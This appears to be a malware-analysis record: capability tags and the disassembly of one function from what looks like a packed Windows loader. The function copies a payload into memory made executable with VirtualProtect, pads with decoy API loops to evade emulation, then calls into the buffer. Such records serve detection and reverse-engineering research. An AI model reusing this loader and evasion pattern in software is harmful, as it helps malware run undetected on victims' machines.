Function at 0x401663
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.0040e8c0
mov ecx, dword [0x1a71418]
push esi
push edi
cmp ecx, 0x93
je 0x4017f4
mov eax, dword [0x4182d8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x1a7141c], eax
push esi
mov dword [0x1a71418], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
mov dword [0x1a71384], eax
push ecx
push 0x40
push dword [0x1a71418]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x4016c1
mov edx, dword [0x1a71418]
mov edi, esi
test edx, edx
je 0x40173c
mov eax, dword [0x1a7141c]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x1a71384]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x401737
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0x4157c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x1020]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x820]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov edx, dword [0x1a71418]
inc edi
cmp edi, edx
jb 0x4016d6
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x40177d
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
push str.vofexugihonupigipireminu
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x1a71418]
inc edi
cmp edi, 0x38681
jl 0x40173e
push ecx
call fcn.00401620
mov edi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x40179f
call fcn.00401647
inc edi
cmp edi, 0x674db
jl 0x40178e
mov eax, dword [0x1a71418]
mov edi, esi
cmp eax, 0x86
je 0x4017ed
cmp eax, 0xf
jne 0x4017ca
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov eax, dword [0x1a71418]
inc edi
cmp edi, 0x7b
jl 0x4017af
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x1a71384]
mov dword [0x1a7140c], eax
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]
push str.mewibuwowuwen
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
xor esi, esi
push esi
btr dword [eax], 0
lea eax, [ebp - 0x1020]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push esi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call fcn.00402ad4
pop ecx
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.00401080
push str.bad_exception
lea ecx, [ebp - 0x14]
call fcn.004010c6
lea ecx, [ebp - 0x14]
call fcn.004010e2
push esi
call fcn.0040368f
pop ecx
push esi
push esi
call fcn.00402a54
push esi
call fcn.00403653
add esp, 0xc
push esi
call fcn.00403926
pop ecx
call fcn.00402a73
int3